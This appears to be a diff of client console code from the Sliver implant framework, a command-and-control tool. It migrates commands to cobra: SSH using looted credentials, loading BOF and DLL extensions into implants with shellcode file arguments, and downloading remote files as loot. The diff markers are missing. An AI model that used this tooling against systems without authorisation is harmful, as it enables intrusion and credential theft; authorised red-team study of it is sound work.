GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"io/ioutil"
"os"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out)
func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func SSHCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
var (
privKey []byte
err error
@@ -25,26 +43,45 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
username := ctx.Flags.String("login")
username, _ := cmd.Flags().GetString("login")
if username == "" {
username = session.GetUsername()
}
port := ctx.Flags.Uint("port")
privateKeypath := ctx.Flags.String("private-key")
if privateKeypath != "" {
privKey, err = ioutil.ReadFile(privateKeypath)
port, _ := cmd.Flags().GetUint("port")
privateKeyPath, _ := cmd.Flags().GetString("private-key")
if privateKeyPath != "" {
privKey, err = os.ReadFile(privateKeyPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
password := ctx.Flags.String("password")
password, _ := cmd.Flags().GetString("password")
hostname := ctx.Args.String("hostname")
command := ctx.Args.StringList("command")
hostname := args[0]
command := args[1:]
if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
kerberosRealm, _ := cmd.Flags().GetString("kerberos-realm")
kerberosConfig, _ := cmd.Flags().GetString("kerberos-config")
kerberosKeytabFile, _ := cmd.Flags().GetString("kerberos-keytab")
if kerberosRealm != "" && kerberosKeytabFile == "" {
con.PrintErrorf("You must specify a keytab file with the --kerberos-keytab flag\n")
return
}
kerberosKeytab := []byte{}
if kerberosKeytabFile != "" {
kerberosKeytab, err = os.ReadFile(kerberosKeytabFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
skipLoot, _ := cmd.Flags().GetBool("skip-loot")
if password == "" && len(privKey) == 0 && !skipLoot {
oldUsername := username
username, password, privKey = tryCredsFromLoot(con)
if username == "" {
@@ -59,7 +96,10 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
PrivKey: privKey,
Password: password,
Command: strings.Join(command, " "),
Request: con.ActiveTarget.Request(ctx),
Realm: kerberosRealm,
Krb5Conf: kerberosConfig,
Keytab: kerberosKeytab,
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
con.PrintErrorf("%s\n", err)
@@ -109,18 +149,18 @@ func tryCredsFromLoot(con *console.SliverConsoleClient) (string, string, []byte)
prompt := &survey.Confirm{Message: "No credentials provided, use from loot?"}
survey.AskOne(prompt, &confirm, nil)
if confirm {
cred, err := loot.SelectCredentials(con)
if err != nil {
con.PrintErrorf("Invalid loot data, will try to use the SSH agent")
} else {
switch cred.CredentialType {
case clientpb.CredentialType_API_KEY:
privKey = []byte(cred.Credential.APIKey)
case clientpb.CredentialType_USER_PASSWORD:
username = cred.Credential.User
password = cred.Credential.Password
}
}
// cred, err := loot.SelectCredentials(con)
// if err != nil {
// con.PrintErrorf("Invalid loot data, will try to use the SSH agent")
// } else {
// switch cred.CredentialType {
// case clientpb.CredentialType_API_KEY:
// privKey = []byte(cred.Credential.APIKey)
// case clientpb.CredentialType_USER_PASSWORD:
// username = cred.Credential.User
// password = cred.Credential.Password
// }
// }
}
return username, password, privKey
}
+55
View File
@@ -0,0 +1,55 @@
package exit
/*
Sliver Implant Framework
Copyright (C) 2023 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"os"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/spf13/cobra"
)
// ExitCmd - Exit the console
func ExitCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
fmt.Println("Exiting...")
if con.IsServer {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
os.Exit(1)
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
os.Exit(1)
}
if 0 < len(sessions.Sessions) || 0 < len(beacons.Beacons) {
con.Printf("There are %d active sessions and %d active beacons.\n", len(sessions.Sessions), len(beacons.Beacons))
confirm := false
prompt := &survey.Confirm{Message: "Are you sure you want to exit?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
}
}
os.Exit(0)
}
+17 -13
View File
@@ -21,19 +21,21 @@ package extensions
import (
"encoding/json"
"fmt"
"io/ioutil"
"os"
"strings"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
)
// ExtensionsCmd - List information about installed extensions
func ExtensionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func ExtensionsCmd(cmd *cobra.Command, con *console.SliverConsoleClient) {
if 0 < len(getInstalledManifests()) {
PrintExtensions(con)
} else {
@@ -98,7 +100,7 @@ func getInstalledManifests() map[string]*ExtensionManifest {
manifestPaths := assets.GetInstalledExtensionManifests()
installedManifests := map[string]*ExtensionManifest{}
for _, manifestPath := range manifestPaths {
data, err := ioutil.ReadFile(manifestPath)
data, err := os.ReadFile(manifestPath)
if err != nil {
continue
}
@@ -113,13 +115,15 @@ func getInstalledManifests() map[string]*ExtensionManifest {
}
// ExtensionsCommandNameCompleter - Completer for installed extensions command names
func ExtensionsCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
installedManifests := getInstalledManifests()
results := []string{}
for _, manifest := range installedManifests {
if strings.HasPrefix(manifest.CommandName, prefix) {
func ExtensionsCommandNameCompleter(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
installedManifests := getInstalledManifests()
results := []string{}
for _, manifest := range installedManifests {
results = append(results, manifest.CommandName)
results = append(results, manifest.Help)
}
}
return results
return carapace.ActionValuesDescribed(results...).Tag("extension commands")
})
}
@@ -241,5 +241,4 @@ func TestParseExtensionManifestErrors(t *testing.T) {
t.Fatalf("Expected missing files.path error, got none")
}
}
}
+16 -16
View File
@@ -20,20 +20,21 @@ package extensions
import (
"fmt"
"io/ioutil"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
// ExtensionsInstallCmd - Install an extension
func ExtensionsInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
extLocalPath := ctx.Args.String("path")
func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
extLocalPath := args[0]
fi, err := os.Stat(extLocalPath)
if os.IsNotExist(err) {
con.PrintErrorf("Extension path '%s' does not exist", extLocalPath)
@@ -48,7 +49,7 @@ func ExtensionsInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient
// Install an extension from a directory
func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
manifestData, err := ioutil.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
manifestData, err := os.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
if err != nil {
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
return
@@ -73,12 +74,12 @@ func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("\nError creating extension directory: %s\n", err)
con.PrintErrorf("Error creating extension directory: %s\n", err)
return
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return
}
@@ -89,13 +90,12 @@ func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
err := util.CopyFile(src, dst)
if err != nil {
con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
con.PrintErrorf("Error copying file '%s' -> '%s': %s\n", src, dst, err)
forceRemoveAll(installPath)
return
}
}
}
}
// InstallFromFilePath - Install an extension from a .tar.gz file
@@ -127,12 +127,12 @@ func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.S
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("\nFailed to create extension directory: %s\n", err)
con.PrintErrorf("Failed to create extension directory: %s\n", err)
return nil
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return nil
}
@@ -140,7 +140,7 @@ func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.S
if manifestFile.Path != "" {
err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
if err != nil {
con.PrintErrorf("\nFailed to install file: %s\n", err)
con.PrintErrorf("Failed to install file: %s\n", err)
forceRemoveAll(installPath)
return nil
}
@@ -151,7 +151,7 @@ func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.S
}
func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error {
data, err := util.ReadFileFromTarGz(extGzFilePath, "."+artifactPath)
data, err := util.ReadFileFromTarGz(extGzFilePath, "."+filepath.ToSlash(artifactPath))
if err != nil {
return err
}
@@ -166,7 +166,7 @@ func installArtifact(extGzFilePath string, installPath string, artifactPath stri
return err
}
}
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
err = os.WriteFile(localArtifactPath, data, 0o600)
if err != nil {
return err
}
+4 -3
View File
@@ -21,20 +21,21 @@ package extensions
import (
"context"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// ExtensionsListCmd - List all extension loaded on the active session/beacon
func ExtensionsListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func ExtensionsListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
con.PrintErrorf("%s\n", err)
+186 -88
View File
@@ -24,21 +24,26 @@ import (
"encoding/json"
"errors"
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strconv"
"strings"
appConsole "github.com/reeflective/console"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
"google.golang.org/protobuf/proto"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
const (
@@ -58,6 +63,7 @@ type ExtensionManifest struct {
OriginalAuthor string `json:"original_author"`
RepoURL string `json:"repo_url"`
Help string `json:"help"`
LongHelp string `json:"long_help"`
Files []*extensionFile `json:"files"`
Arguments []*extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"`
@@ -100,24 +106,26 @@ func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, ta
}
// ExtensionLoadCmd - Load extension command
func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dirPath := ctx.Args.String("dir-path")
func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
dirPath := args[0]
// dirPath := ctx.Args.String("dir-path")
extCmd, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
if err != nil {
return
}
// do not add if the command already exists
if CmdExists(extCmd.CommandName, con.App) {
sliverMenu := con.App.Menu("implant")
if CmdExists(extCmd.CommandName, sliverMenu.Command) {
con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
return
}
ExtensionRegisterCommand(extCmd, con)
ExtensionRegisterCommand(extCmd, cmd.Root(), con)
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
}
// LoadExtensionManifest - Parse extension files
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
data, err := ioutil.ReadFile(manifestPath)
data, err := os.ReadFile(manifestPath)
if err != nil {
return nil, err
}
@@ -167,56 +175,44 @@ func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
}
// ExtensionRegisterCommand - Register a new extension command
func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverConsoleClient) {
func ExtensionRegisterCommand(extCmd *ExtensionManifest, cmd *cobra.Command, con *console.SliverConsoleClient) {
if errInvalidArgs := checkExtensionArgs(extCmd); errInvalidArgs != nil {
con.PrintErrorf(errInvalidArgs.Error())
return
}
loadedExtensions[extCmd.CommandName] = extCmd
helpMsg := extCmd.Help
extensionCmd := &grumble.Command{
Name: extCmd.CommandName,
Help: helpMsg,
Run: func(extCtx *grumble.Context) error {
con.Println()
runExtensionCmd(extCtx, con)
con.Println()
return nil
// Command
extensionCmd := &cobra.Command{
Use: extCmd.CommandName,
Short: helpMsg,
Long: help.FormatHelpTmpl(extCmd.LongHelp),
Run: func(cmd *cobra.Command, args []string) {
runExtensionCmd(cmd, con, args)
},
Flags: func(f *grumble.Flags) {
// f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
if 0 < len(extCmd.Arguments) {
// BOF specific
for _, arg := range extCmd.Arguments {
var (
argFunc func(string, string, ...grumble.ArgOption)
defaultValue grumble.ArgOption
)
switch arg.Type {
case "int", "short":
argFunc = a.Int
defaultValue = grumble.Default(0)
case "string", "wstring", "file":
argFunc = a.String
defaultValue = grumble.Default("")
}
if arg.Optional {
argFunc(arg.Name, arg.Desc, defaultValue)
} else {
argFunc(arg.Name, arg.Desc)
}
}
} else {
a.StringList("arguments", "arguments", grumble.Default([]string{}))
}
},
HelpGroup: consts.ExtensionHelpGroup,
GroupID: consts.ExtensionHelpGroup,
Annotations: makeCommandPlatformFilters(extCmd),
}
con.App.AddCommand(extensionCmd)
// Flags
f := pflag.NewFlagSet(extCmd.Name, pflag.ContinueOnError)
f.BoolP("save", "s", false, "Save output to disk")
f.IntP("timeout", "t", defaultTimeout, "command timeout in seconds")
extensionCmd.Flags().AddFlagSet(f)
extensionCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
// Completions
comps := carapace.Gen(extensionCmd)
makeExtensionArgCompleter(extCmd, cmd, comps)
cmd.AddCommand(extensionCmd)
}
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, ctx *grumble.Context, con *console.SliverConsoleClient) error {
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, cmd *cobra.Command, con *console.SliverConsoleClient) error {
var extensionList []string
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
binPath, err := ext.getFileForTarget(cmd.Name(), goos, goarch)
if err != nil {
return err
}
@@ -224,7 +220,7 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
// Try to find the extension in the loaded extensions
if checkCache {
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
con.PrintErrorf("List extensions error: %s\n", err.Error())
@@ -240,7 +236,7 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
if !depLoaded && extName == ext.DependsOn {
depLoaded = true
}
if ext.Name == extName {
if ext.CommandName == extName {
return nil
}
}
@@ -249,29 +245,29 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
// Auto load the coff loader if we have it
if !depLoaded {
if errLoad := loadDep(goos, goarch, ext.DependsOn, ctx, con); errLoad != nil {
if errLoad := loadDep(goos, goarch, ext.DependsOn, cmd, con); errLoad != nil {
return errLoad
}
}
return nil
}
binData, err := ioutil.ReadFile(binPath)
binData, err := os.ReadFile(binPath)
if err != nil {
return err
}
if errRegister := registerExtension(goos, ext, binData, ctx, con); errRegister != nil {
if errRegister := registerExtension(goos, ext, binData, cmd, con); errRegister != nil {
return errRegister
}
return nil
}
func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx *grumble.Context, con *console.SliverConsoleClient) error {
func registerExtension(goos string, ext *ExtensionManifest, binData []byte, cmd *cobra.Command, con *console.SliverConsoleClient) error {
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: ext.CommandName,
Data: binData,
OS: goos,
Init: ext.Init,
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
return err
@@ -282,23 +278,23 @@ func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx
return nil
}
func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, con *console.SliverConsoleClient) error {
func loadDep(goos string, goarch string, depName string, cmd *cobra.Command, con *console.SliverConsoleClient) error {
depExt, ok := loadedExtensions[depName]
if ok {
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch)
if err != nil {
return err
}
depBinData, err := ioutil.ReadFile(depBinPath)
depBinData, err := os.ReadFile(depBinPath)
if err != nil {
return err
}
return registerExtension(goos, depExt, depBinData, ctx, con)
return registerExtension(goos, depExt, depBinData, cmd, con)
}
return fmt.Errorf("missing dependency %s", depName)
}
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func runExtensionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
var (
err error
extensionArgs []byte
@@ -319,19 +315,19 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
goarch = beacon.Arch
}
ext, ok := loadedExtensions[ctx.Command.Name]
ext, ok := loadedExtensions[cmd.Name()]
if !ok {
con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
con.PrintErrorf("No extension command found for `%s` command\n", cmd.Name())
return
}
checkCache := session != nil
if err = loadExtension(goos, goarch, checkCache, ext, ctx, con); err != nil {
if err = loadExtension(goos, goarch, checkCache, ext, cmd, con); err != nil {
con.PrintErrorf("Could not load extension: %s\n", err)
return
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
binPath, err := ext.getFileForTarget(cmd.Name(), goos, goarch)
if err != nil {
con.PrintErrorf("Failed to read extension file: %s\n", err)
return
@@ -346,7 +342,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// the loader will extract and load.
if isBOF {
// Beacon Object File -- requires a COFF loader
extensionArgs, err = getBOFArgs(ctx, binPath, ext)
extensionArgs, err = getBOFArgs(cmd, args, binPath, ext)
if err != nil {
con.PrintErrorf("BOF args error: %s\n", err)
return
@@ -355,20 +351,20 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
} else {
// Regular DLL
extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
extArgs := strings.Join(args, " ")
extensionArgs = []byte(extArgs)
extName = ext.CommandName
entryPoint = ext.Entrypoint
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
msg := fmt.Sprintf("Executing %s ...", cmd.Name())
con.SpinUntil(msg, ctrl)
callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
Name: extName,
Export: entryPoint,
Args: extensionArgs,
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveTarget.Request(cmd),
})
ctrl <- true
<-ctrl
@@ -395,60 +391,82 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// PrintExtOutput - Print the ext execution output
func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverConsoleClient) {
if extName == commandName {
con.PrintInfof("Successfully executed %s\n", extName)
con.PrintInfof("Successfully executed %s", extName)
} else {
con.PrintInfof("Successfully executed %s (%s)\n", commandName, extName)
con.PrintInfof("Successfully executed %s (%s)", commandName, extName)
}
if 0 < len(string(callExtension.Output)) {
con.PrintInfof("Got output:\n%s\n", callExtension.Output)
con.PrintInfof("Got output:\n%s", callExtension.Output)
}
if callExtension.Response != nil && callExtension.Response.Err != "" {
con.PrintErrorf("%s\n", callExtension.Response.Err)
con.PrintErrorf(callExtension.Response.Err)
return
}
}
func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtensionManifest) ([]byte, error) {
var extensionArgs []byte
binData, err := ioutil.ReadFile(binPath)
binData, err := os.ReadFile(binPath)
if err != nil {
return nil, err
}
argsBuffer := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
// Parse BOF arguments from grumble
missingRequiredArgs := make([]string, 0)
for _, arg := range ext.Arguments {
// If we don't have any positional words left to consume,
// add the remaining required extension arguments in the
// error message.
if len(args) == 0 {
if !arg.Optional {
missingRequiredArgs = append(missingRequiredArgs, "`"+arg.Name+"`")
}
continue
}
// Else pop a word from the list
word := args[0]
args = args[1:]
switch arg.Type {
case "integer":
fallthrough
case "int":
val := ctx.Args.Int(arg.Name)
val, err := strconv.Atoi(word)
if err != nil {
return nil, err
}
err = argsBuffer.AddInt(uint32(val))
if err != nil {
return nil, err
}
case "short":
val := ctx.Args.Int(arg.Name)
val, err := strconv.Atoi(word)
if err != nil {
return nil, err
}
err = argsBuffer.AddShort(uint16(val))
if err != nil {
return nil, err
}
case "string":
val := ctx.Args.String(arg.Name)
err = argsBuffer.AddString(val)
err = argsBuffer.AddString(word)
if err != nil {
return nil, err
}
case "wstring":
val := ctx.Args.String(arg.Name)
err = argsBuffer.AddWString(val)
err = argsBuffer.AddWString(word)
if err != nil {
return nil, err
}
// Adding support for filepaths so we can
// send binary data like shellcodes to BOFs
case "file":
val := ctx.Args.String(arg.Name)
data, err := ioutil.ReadFile(val)
data, err := os.ReadFile(word)
if err != nil {
return nil, err
}
@@ -458,6 +476,12 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([
}
}
}
// Return if we have missing required arguments
if len(missingRequiredArgs) > 0 {
return nil, fmt.Errorf("required arguments %s were not provided", strings.Join(missingRequiredArgs, ", "))
}
parsedArgs, err := argsBuffer.GetBuffer()
if err != nil {
return nil, err
@@ -483,15 +507,89 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([
return nil, err
}
return extensionArgs, nil
}
// CmdExists - checks if a command exists
func CmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
func CmdExists(name string, cmd *cobra.Command) bool {
for _, c := range cmd.Commands() {
if name == c.Name() {
return true
}
}
return false
}
// makeExtensionArgParser builds the valid positional arguments cobra handler for the extension.
func checkExtensionArgs(extCmd *ExtensionManifest) error {
if 0 < len(extCmd.Arguments) {
for _, arg := range extCmd.Arguments {
switch arg.Type {
case "int", "integer", "short":
case "string", "wstring", "file":
default:
return fmt.Errorf("invalid argument type: %s", arg.Type)
}
}
}
return nil
}
// makeExtensionArgCompleter builds the positional arguments completer for the extension.
func makeExtensionArgCompleter(extCmd *ExtensionManifest, _ *cobra.Command, comps *carapace.Carapace) {
var actions []carapace.Action
for _, arg := range extCmd.Arguments {
var action carapace.Action
switch arg.Type {
case "file":
action = carapace.ActionFiles().Tag("extension data")
}
usage := fmt.Sprintf("(%s) %s", arg.Type, arg.Desc)
if arg.Optional {
usage += " (optional)"
}
actions = append(actions, action.Usage(usage))
}
comps.PositionalCompletion(actions...)
}
func makeCommandPlatformFilters(extCmd *ExtensionManifest) map[string]string {
filtersOS := make(map[string]bool)
filtersArch := make(map[string]bool)
var all []string
// Only add filters for architectures when there OS matters.
for _, file := range extCmd.Files {
filtersOS[file.OS] = true
if filtersOS[file.OS] {
filtersArch[file.Arch] = true
}
}
for os, enabled := range filtersOS {
if enabled {
all = append(all, os)
}
}
for arch, enabled := range filtersArch {
if enabled {
all = append(all, arch)
}
}
if len(all) == 0 {
return map[string]string{}
}
return map[string]string{
appConsole.CommandFilterKey: strings.Join(all, ","),
}
}
+4 -4
View File
@@ -25,15 +25,16 @@ import (
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
// ExtensionsRemoveCmd - Remove an extension
func ExtensionsRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
func ExtensionsRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
name := args[0]
if name == "" {
con.PrintErrorf("Extension name is required\n")
return
@@ -62,7 +63,6 @@ func RemoveExtensionByCommandName(commandName string, con *console.SliverConsole
return errors.New("extension not loaded")
}
delete(loadedExtensions, commandName)
con.App.Commands().Remove(commandName)
extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(commandName))
if _, err := os.Stat(extPath); os.IsNotExist(err) {
return nil
+36 -14
View File
@@ -27,32 +27,40 @@ import (
"github.com/alecthomas/chroma/formatters"
"github.com/alecthomas/chroma/lexers"
"github.com/alecthomas/chroma/styles"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// CatCmd - Display the contents of a remote file
func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func CatCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
filePath := ctx.Args.String("path")
var filePath string
if len(args) > 0 {
filePath = args[0]
}
if filePath == "" {
con.PrintErrorf("Missing parameter: file name\n")
return
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", filePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveTarget.Request(cmd),
Path: filePath,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -64,34 +72,48 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintCat(download, ctx, con)
PrintCat(download, cmd, con)
})
con.PrintAsyncResponse(download.Response)
} else {
PrintCat(download, ctx, con)
PrintCat(download, cmd, con)
}
}
// PrintCat - Print the download to stdout
func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
func PrintCat(download *sliverpb.Download, cmd *cobra.Command, con *console.SliverConsoleClient) {
var (
lootDownload bool = true
err error
)
saveLoot, _ := cmd.Flags().GetBool("loot")
lootName, _ := cmd.Flags().GetString("name")
userLootFileType, _ := cmd.Flags().GetString("file-type")
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("%s\n", err)
return
con.PrintErrorf("Decoding failed %s", err)
}
}
if ctx.Flags.Bool("colorize-output") {
if saveLoot {
fileType := loot.ValidateLootFileType(userLootFileType, download.Data)
if lootDownload {
loot.LootDownload(download, lootName, fileType, cmd, con)
con.Printf("\n")
}
}
if color, _ := cmd.Flags().GetBool("colorize-output"); color {
if err = colorize(download); err != nil {
con.Println(string(download.Data))
}
} else {
if ctx.Flags.Bool("hex") {
if phex, _ := cmd.Flags().GetBool("hex"); phex {
con.Println(hex.Dump(download.Data))
} else {
con.Println(string(download.Data))
+11 -6
View File
@@ -21,24 +21,29 @@ package filesystem
import (
"context"
